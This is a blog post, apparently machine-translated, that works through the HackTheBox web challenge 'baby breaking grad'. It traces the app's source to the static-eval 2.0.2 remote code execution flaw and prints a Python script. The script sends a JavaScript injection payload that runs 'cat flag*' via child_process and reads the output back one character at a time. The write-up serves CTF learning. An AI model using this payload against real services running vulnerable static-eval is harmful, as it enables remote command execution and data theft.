当前位置:网站首页>HackTheBox-baby breaking grad
HackTheBox-baby breaking grad
2022-07-04 00:58:00 【galaxy3000】
List of articles
summary
HackTheBox Website CTF shooting range Web Related topics baby breaking grad, Title address https://app.hackthebox.com/challenges/baby-breaking-grad, Main investigation AST Injected knowledge points .

subject
Title Overview
After opening the program instance , Prompt to visit 209.97.187.217:32476, visit http://209.97.187.217:32476, See the following Web Interface

Directly select a submission to get 
Download the attachment and extract it to get 
Source code
stay routes In the catalog index.js in , Including different url Treatment method 
It involves StudentHelper.js, Corresponding source code 
StudentHelper.js Yes static-eval and esprima, stay package.json See their version in 
Their thinking
You can see static-eval by 2.0.2, There is RCE Loophole , For details, please refer to https://github.com/advisories/GHSA-8v27-2fg9-7h62

Solution code
import string
import requests
url = 'http://209.97.187.217:32476/api/calculate'
flag = ''
for i, _ in enumerate(iter(bool, True)):
for chr in string.printable:
payload = "(function (x) { return `${eval(\"if(global.process.mainModule.constructor._load('child_process').execSync('cat flag*').toString().charCodeAt(" + str(i) + ") == " + str(ord(chr)) + ") {25} else {1}\")}` })()"
data = {"name": "AAA", "formula": payload}
r = requests.post(url, json=data)
if('Passed' in r.content):
flag += chr
print(flag)
if(chr == '}'):
quit()
break
Run code , obtain flag
边栏推荐
- Oracle database knowledge points that cannot be learned (II)
- 求esp32C3板子连接mssql方法
- 中电资讯-信贷业务数字化转型如何从星空到指尖?
- How to be a professional software testing engineer? Listen to the byte five year old test
- [error record] configure NDK header file path in Visual Studio (three header file paths of NDK | ASM header file path selection related to CPU architecture)
- Future source code view -juc series
- Five high-frequency questions were selected from the 200 questions raised by 3000 test engineers
- leetcode 121 Best Time to Buy and Sell Stock 买卖股票的最佳时机(简单)
- Fundamentals of machine learning: feature selection with lasso
- AI helps make new breakthroughs in art design plagiarism retrieval! Professor Liu Fang's team paper was employed by ACM mm, a multimedia top-level conference
猜你喜欢

2-redis architecture design to use scenarios - four deployment and operation modes (Part 2)

【.NET+MQTT】.NET6 环境下实现MQTT通信,以及服务端、客户端的双边消息订阅与发布的代码演示

The difference between objects and objects

中电资讯-信贷业务数字化转型如何从星空到指尖?

老姜的特点

A malware detection method for checking PLC system using satisfiability modulus theoretical model

Regular expression of shell script value

On the day when 28K joined Huawei testing post, I cried: everything I have done in these five months is worth it
![[common error] custom IP instantiation error](/img/de/d3f90cd224274d87fcf153bb9244d7.jpg)
[common error] custom IP instantiation error

“疫”起坚守 保障数据中台服务“不打烊”
随机推荐
Generic
查询效率提升10倍!3种优化方案,帮你解决MySQL深分页问题
Network layer - routing
How to be a professional software testing engineer? Listen to the byte five year old test
Global and Chinese markets for instant saliva testing devices 2022-2028: Research Report on technology, participants, trends, market size and share
Global and Chinese market of breast cancer imaging 2022-2028: Research Report on technology, participants, trends, market size and share
打印菱形图案
2-redis architecture design to use scenarios - four deployment and operation modes (Part 2)
It's OK to have hands-on 8 - project construction details 3-jenkins' parametric construction
Self study software testing. To what extent can you go out and find a job?
Mobile asynchronous sending SMS verification code solution -efficiency+redis
[prefix and notes] prefix and introduction and use
AI 助力艺术设计抄袭检索新突破!刘芳教授团队论文被多媒体顶级会议ACM MM录用
What insurance products should be bought for the elderly?
[common error] UART cannot receive data error
In the process of seeking human intelligent AI, meta bet on self supervised learning
Windos10 reinstallation system tutorial
Regular expression of shell script value
From functional testing to automated testing, how did I successfully transform my salary to 15K +?
Global and Chinese markets for coronary artery disease treatment devices 2022-2028: Research Report on technology, participants, trends, market size and share